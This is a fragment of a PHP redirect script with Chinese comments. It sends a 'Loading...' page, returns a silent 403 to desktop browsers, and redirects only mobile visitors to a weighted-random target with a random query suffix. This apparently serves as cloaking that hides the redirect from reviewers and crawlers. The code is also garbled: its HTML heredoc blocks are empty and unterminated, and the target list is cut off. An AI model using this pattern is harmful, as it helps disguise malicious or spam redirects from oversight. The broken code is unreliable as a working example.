100, //
];
}
// ================== 初始化 ==================
header('Content-Type: text/html; charset=utf-8');
header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
ini_set('display_errors', 0);
ini_set('log_errors', 1);
// ================== 工具函数 ==================
function generate_random_suffix() {
return 'rand='.substr(md5(mt_rand()), 0, 6);
}
function is_mobile_device() {
$touch = (int)($_GET['touch'] ?? 0);
$ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');
$mobileKeywords = ['mobile','android','iphone','ipod','windows phone'];
return $touch === 1 || preg_match('/('.implode('|', $mobileKeywords).')/i', $ua);
}
// ================== 主逻辑 ==================
try {
// 1. 设备检测初始化
if (!isset($_GET['detected'])) {
$nonce = base64_encode(random_bytes(16));
echo <<
Loading...
HTML;
exit;
}
// 2. 设备验证（电脑端直接返回系统默认403）
if (!is_mobile_device()) {
http_response_code(403);
exit;
}
// 3. 权重随机跳转
$totalWeight = array_sum(SecurityConfig::TARGET_WEIGHTS);
$random = mt_rand(1, $totalWeight);
$currentWeight = 0;
foreach (SecurityConfig::TARGET_WEIGHTS as $url => $weight) {
$currentWeight += $weight;
if ($random <= $currentWeight) {
$selectedUrl = $url;
break;
}
}
// 4. 添加随机后缀
$selectedUrl .= (strpos($selectedUrl, '?') === false) ? '?' : '&';
$selectedUrl .= generate_random_suffix();
// 5. 延迟跳转
$nonce = base64_encode(random_bytes(16));
echo <<
HTML;
} catch (Throwable $e) {
http_response_code(503);
exit;
}